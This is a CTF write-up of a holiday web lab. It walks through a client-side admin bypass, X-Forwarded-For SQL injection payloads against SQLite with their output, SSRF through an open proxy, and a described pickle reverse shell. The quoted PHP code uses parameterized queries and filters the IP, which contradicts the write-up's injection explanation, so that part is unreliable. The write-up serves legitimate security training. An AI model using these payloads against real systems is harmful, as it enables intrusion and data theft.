Hackinghub Writeup - Naughty Or Nice

A holiday CTF where you have to get NahamSec off the Naughty List

January 23, 2026

https://app.hackinghub.io/hubs/naughty-or-nice-mission

Oh no… NahamSec has somehow ended up on Santa’s Naughty List.

This CTF is for a web-page that checks if you’re on the naughty or nice list. Unfortunately, I’m on the naughty list. That doesn’t sound right, thankfully I can create a support ticket! Even better, sending this support ticket revealed some interesting API endpoints! Maybe I can fix this myself.

Recon

Bypassing local authentication check

From having quickly scanned over the earlier JS file, I recognized that the audit page seemed to be doing authentication locally. In particular, I noticed this line:

return dt(n, (d, u) => {
	d.hasOwnProperty("admin") && d.admin && l()
}, {

I visited this with breakpoints enabled and captured the response from /api/user, modifying it to match the output given by /api/user/{uuid} with a real user, but removed the status value and added an admin value.

{  
  "id" : "06062424-a6c2-43c3-b6f1-c31e0d949a6c",  
  "name" : "Jingletoes Tinselwhack",  
  "admin" : true  
}

After letting this modified response through, I gained access to the page, which gave me a second flag. This page was related to the vulnerable code from the Github repo I found earlier, and I could see the values was using to create execute SQL statements. ![[Pasted image 20260109232758.png]]

SQL Injection

This is the vulnerable logging code:

public function do( $event ){
	$ip = ( isset($_SERVER["HTTP_X_FORWARDED_FOR"] ) ) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];
	$ip = preg_replace('/[^0-9\.]/','',$ip);
	$date = date("U");
	$d = $this->db->prepare('insert into audit (ip,event,created_at) values (?,?,?) ');
	$d->execute( [ $ip, $event, $date ] );
}

These values are being unsafely inserted in the database, and one of them can be controlled by attackers. From the above screenshot, we can see that an event is logged everytime a ticket is created. By modifying the POST request to /api/ticket and adding X-Forwarded-For: 127.0.0.1, I could see a new event appear that included this IP.

Ticket Created — 2026-01-10 04:33 — 127.0.0.1, 10.18.1.6

If I added a ' to the end of this value, no new event appears, meaning the SQL injection was likely successful and caused an error. I used the following payload to get the table names: audit and users.

X-Forwarded-For: 1.1.1.1',(SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table'),1)-- 
{
  "id": "d811b0560ecc8e4a61312953affe7a5b",
  "event": "audit,users",
  "created": "1970-01-01 00:00",
  "ip": "1.1.1.1"
}

We already know that audit contains these logs, so I started enumerating the users table.

X-Forwarded-For: 1.1.1.1',(SELECT group_concat(name) FROM pragma_table_info('users')),1)--
{
  "id": "3f12b483013e4305b859705291f1346c",
  "event": "uuid,team,name",
  "created": "1970-01-01 00:00",
  "ip": "1.1.1.1"
}
X-Forwarded-For: 1.1.1.1',(SELECT group_concat(uuid||':'||team||':'||name||'/') FROM users),1)--
{
  "id": "8b91126540d009112bed88cb0d6d43fb",
  "event": "06062424-a6c2-43c3-b6f1-c31e0d949a6c:23bbd831-6b4b-4f80-ad22-57f1746fa2a0:Jingletoes Tinselwhack/,0985d93d-ee28-4db8-ad4d-01d57fe0200d:3738cc78-d05e-4c3a-9b68-c5b661bc26eb:Pudding Sugarplum/...",
  "created": "1970-01-01 00:00",
  "ip": "1.1.1.1"
}

After getting all these user and team UUIDs, I went back to the earlier API endpoints to and ran fuzzers with the values to see if there’s was anything interesting.

Back to the basics

At this point, I got pretty stuck. I was kinda just banging my head into the wall trying random things. Eventually, I realized I need to go back to the start. I went back to enumeration, looking for directories in way I hadn’t tried previously. Eventually I tried using ffuf to search the API directory with the flags -mc all -ac.

Proxy was the interesting new find. Although it returned a 415 (Unsupported Media Type), the response was {"error":"Method not allowed"}. Not sure why it didn’t return 405, but either way it responded differently to a POST request: {"error":"JSON Payload Invalid"}.

Abusing an open proxy

After param mining with arjun, I found 4 parameters: headers, method, body, url. Using these, you can make requests through the proxy. My first thought was to see if I could access the workstation I found earlier. ![[Pasted image 20260128203625.png]] Unfortunately, we don’t get any error message when a request fails, so we’ll just have to look for one that succeeds. I decided to keep testing this host, so I wrote a simple script that makes a request to this endpoint with the top 1000 ports, then I filtered the response to find one that contained a body. With this method, I found this response from port 5000: ![[Pasted image 20260128204001.png]] After trying some random tokens, I get this helpful error:

{
  "error": "Deserialization failed",
  "message": "invalid load key, '\\xb5'."
}

With some research, I found that this points to a python pickle deserialization attack, which is very simple to exploit. I generated a reverse shell payload and quickly had a reverse shell. With this shell I found a .env file with a hidden API endpoint and an authorization token:

BASEURL=/api/sup3r-s3cr3t-admin
AUTH=Bearer 9f9de6dc373fd1f1e56a93abdc82fe38e965d561fea789dbdf96c31fbbe7104b

By making a request to that endpoint with the Authorization header set, we get a list of names and their IDs, one of which was NahamSec. With some further experimentation, I found I could make a request to /api/sup3r-s3cr3t-admin/{id} to get more info about an entry.

{
  "id": "7a9e1d3c-bc54-4f1b-9f42-2e6c8a0d5f1b",
  "name": "NahamSec",
  "verdict": "Naughty"
}

I sent a simple PUT request to update verdict to Nice, and there was the final flag!

{
  "id": "7a9e1d3c-bc54-4f1b-9f42-2e6c8a0d5f1b",
  "name": "NahamSec",
  "verdict": "Nice",
  "flag": "flag{788...ca1}"
}